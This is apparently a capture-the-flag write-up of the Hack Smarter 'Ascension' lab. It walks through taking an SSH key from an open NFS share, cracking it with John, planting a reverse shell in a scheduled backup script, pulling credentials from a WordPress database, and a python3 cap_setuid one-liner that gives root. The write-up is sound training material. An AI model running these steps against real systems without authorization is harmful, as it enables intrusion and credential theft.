> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2025/ascension.md).

# Ascension

{% embed url="<https://courses.hacksmarter.org/courses/38414c7d-f5d5-41f9-b6d4-f1d655a333c6/take>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario <a href="#user-content-scenario" id="user-content-scenario"></a>

You are a penetration tester on the Hack Smarter Red Team. You need to target a single, designated host within the client's internal network to assess its defensive posture against a persistent threat actor. This engagement is a black-box test and will focus on identifying and exploiting a complete chain of vulnerabilities and misconfigurations that facilitate lateral movement and privilege escalation.

The ultimate goal is to achieve full system compromise (root access).

## Recon

The RustScan of `10.0.20.147` revealed several services, including FTP `21` with anonymous login enabled and a file `pwlist.txt`, SSH `22` running OpenSSH 9.6p1 on Ubuntu, and HTTP `80` serving the Apache 2.4.58 default page. In addition, RPCBind `111` is active and exposes NFS-related services on port `2049` along with mountd, nlockmgr, and status services across high TCP ports. This indicates the host is a Linux system with FTP, SSH, and HTTP as primary entry points, and a misconfigured NFS service that may allow sensitive file access as a key attack surface.

```
rustscan -a 10.0.20.147 -- -sV -sC
```

<figure><img src="/files/W1j8mMepQaxXSfNiAYZh" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0G7SJ9SgCxvFOnF622CK" alt=""><figcaption></figcaption></figure>

### FTP

We connect to the ftp server and download the `pwlist.txt` file. This contains several weak passwords.&#x20;

```
ftp 10.0.20.147
```

<figure><img src="/files/XcGLvBmuOvg33DqXBLjD" alt=""><figcaption></figcaption></figure>

### WEB

We investigate the web server on port `80`. The index page just reveals the Apache2 Default Page.

<figure><img src="/files/5RiALNp0KJnqdqdsn4yX" alt=""><figcaption></figcaption></figure>

Next, we run a directory scan using Feroxbuster including the extensions `.html` and `.php`. We see that there might be a Wordpress page running.

{% code overflow="wrap" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u 'http://10.0.20.147' -x html,php
```

{% endcode %}

<figure><img src="/files/WO3rmBcwLAg2Sgb9glR4" alt=""><figcaption></figcaption></figure>

The `index.php` found by Feroxbuster and the several other pages give us a blank page.

<figure><img src="/files/MUxA0FMmwSBHzxO22GbJ" alt=""><figcaption></figcaption></figure>

We try to run wpscan, but it does not detect a wordpress page running. We try it with `--force` but are only able to detect the running theme.

{% code overflow="wrap" %}

```
wpscan --url http://10.0.20.147/ --force --enumerate u,ap,at,tt,cb,dbe --api-token REDACTED
```

{% endcode %}

<figure><img src="/files/z16SNLUbMZoW6POR3rc6" alt=""><figcaption></figcaption></figure>

### NFS

Next, we head to the NFS service running on port `2049`. With `showmount` we list the shares availbale to us. And there is one: `/srv/nfs/user1`.

```
showmount -e ascension.hsm
```

<figure><img src="/files/jd6A7pd2KQRZx34HWZad" alt=""><figcaption></figcaption></figure>

## Shell as user1

We mount the share and are able to retrieve an SSH private key.

```
mount -t nfs -o nolock ascension.hsm:/srv/nfs/user1 ascension_mnt
```

<figure><img src="/files/Aw8U33nFiq9IsXOjMplU" alt=""><figcaption></figcaption></figure>

The `README.txt` file gives us the hint that his might be connected to the `user1` user, since it points out the location of the first flag related to `user1`.

<figure><img src="/files/O5Bfg0rqVwxnQoDYadbj" alt=""><figcaption></figcaption></figure>

We inspect the public key and see it's the one of `user1`.

<figure><img src="/files/vSsH53f0y02HH9o71Iff" alt=""><figcaption></figcaption></figure>

We can check if a password is required with the following command.

```
ssh-keygen -y -f id_rsa
```

<figure><img src="/files/weggrO1rRDB45b7lvSTd" alt=""><figcaption></figcaption></figure>

Since it requires a password, we need to crack it. We generate a hash from the file using `ssh2john.py`.

We copy the `id_rsa` file to our directory, apply the correct permissions, and unmount the share.

```
cp ascension_mnt/id_rsa . 
```

```
chmod 600 id_rsa 
```

```
umount ascension_mnt
```

We generate the hash,...

```
ssh2john.py id_rsa > id_rsa.hash
```

... and using John to crack it. We got a password.

```
john --format=ssh --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
```

<figure><img src="/files/JA19mtnH5bbyel5bvwCm" alt=""><figcaption></figcaption></figure>

We can now unlock the private key, and see the public key related to `user1`.

```
ssh-keygen -y -f id_rsa
```

<figure><img src="/files/LuzPlvPH9SYZayAGY6HG" alt=""><figcaption></figcaption></figure>

Next, we connect to the machine as `user1` with the private key. We find the first flag at `/opt/user1/flag1`.

```
ssh -i id_rsa user1@ascension.hsm
```

```
cat /opt/user1/flag1
```

<figure><img src="/files/jgvF8ecpQq9oaxfJUO4L" alt=""><figcaption></figcaption></figure>

## Shell as user2

As an overview we have user1, `user2`, `user3`, `user4`, `ftpuser` and `root`.

```
tail /etc/passwd
```

<figure><img src="/files/9SQb29bhHowxTQk5IY6i" alt=""><figcaption></figcaption></figure>

We check for internal listening ports and see that mysql `3306` is running.

```
ss -tulnp
```

<figure><img src="/files/2pN0lcqCiSfagGqHEQVg" alt=""><figcaption></figcaption></figure>

We check for services running in the background using pspy64.

{% embed url="<https://github.com/DominicBreuker/pspy>" %}

<figure><img src="/files/zfuo1QA7ORJqsS9n3DqV" alt=""><figcaption></figcaption></figure>

There is a backup script at `/tmp/backups.sh` running by `user2`.

<figure><img src="/files/Tj18vnFAPnqM4GLzBO5b" alt=""><figcaption></figcaption></figure>

The `/tmp` folder does not contain any script. So we can create our own.

<figure><img src="/files/jkkpqfh97MjhGQm2ohQm" alt=""><figcaption></figcaption></figure>

We place a simple busybox reverse shell into `/tmp/backup.sh`.

<figure><img src="/files/K1wAl0leOr3z1bl1kQfu" alt=""><figcaption></figcaption></figure>

We use penelope, a reverse shell handler which tries to auto upgrade the catched reverse shell, fixes TTY size and allows us to manage our sessions. After a short duration we receive a conneciton to our listener. We are `user2` and find the second flag at `/opt/user2/flag2`. We remove the script in `/tmp/backup.sh` to not receive any further connections to our penelope handler.

{% embed url="<https://github.com/brightio/penelope>" %}

```
penelope -p 4445
```

```
cat /opt/user2/flag2
```

<figure><img src="/files/ifUrNZOLh3pMyrDefg0t" alt=""><figcaption></figcaption></figure>

## Shell as user3

We run linpeas again on the target.

<figure><img src="/files/3aWXSNx2Ut4c4Xk2aCvQ" alt=""><figcaption></figcaption></figure>

We find some database credentials for the wordpress database. This can already be found as `user1`. An escalation from `user1` to `user2` is not necessary which we wil find out later. We already know mysql is running.

<figure><img src="/files/XaYujmtIYEYRFNjj9DDh" alt=""><figcaption></figcaption></figure>

We connect to the datrabase,

```
mysql -u wpuser -D wordpress -h localhost -p
```

and find the fourth flag in the database and the credentials for `user3`.

<figure><img src="/files/7PK2AcBSU1rHJICCaDKR" alt=""><figcaption></figcaption></figure>

Next, we just use su to change user to `user3` and locate the fifth flag at `/opt/user3/flag5`.

```
su user3
```

```
cat /opt/user3/flag5
```

<figure><img src="/files/rbrxf7XLyF7l5PMa2QzQ" alt=""><figcaption></figcaption></figure>

## Shell as root

In the home directory of `user3` we find a `Python3` binary, which is kinda odd. Out of curiousity we could inspect the capabilities or we just run linpeas again and see the following capability set. That capability can be abused to escalte our privileges to root, since it is owned by root.

```
/cap/ser3/python3 cap_setuid=ep
```

{% embed url="<https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/>" %}

> As a result, the admin has granted the user demo the privilege to run the python3 program as root by using cap\_setuid+ep. This means the system assigns all privilege to the user for that program. But if you try to find 4000 permission files or programs, then it might not show for /home/dome/python3.

<figure><img src="/files/p1c0tauHCPcjWBVuVYD0" alt=""><figcaption></figcaption></figure>

We run the following and get a shell as `root`. We can retrieve the final flag and the flag of `ftpuser` and `user2`.

```
/home/user3/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

```
cat /opt/root/flag6
```

<figure><img src="/files/6v6lpFJ25Z050Sz7Z2H6" alt=""><figcaption></figcaption></figure>

Recalling the `pwlist.txt` extracted from the ftp server we could apply a brute-force before to try to get access as the ftpuser.

<figure><img src="/files/1S4gAsZud7cFh76Dt8uH" alt=""><figcaption></figcaption></figure>
